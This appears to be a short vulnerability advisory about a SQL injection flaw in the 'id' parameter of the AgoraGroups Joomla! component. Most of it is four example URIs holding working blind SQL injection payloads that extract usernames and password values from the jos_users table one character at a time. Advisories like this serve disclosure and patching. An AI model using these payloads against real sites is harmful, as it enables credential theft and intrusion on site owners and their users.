|
|
AgoraGroups Joomla! Component 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following example URIs are available: http://www.example.com/path/index.php?option=com_agoragroup&con=groupdetail&id=2 and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96 http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1 http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1 http://www.example.com/index.php?option=com_agoragroup&con=groupdetail&id=2+and+ascii(substring((SELECT+concat(username,0x3a,password)+from+jos_users+limit+0,1),1,1))=72 |
|
Privacy Statement |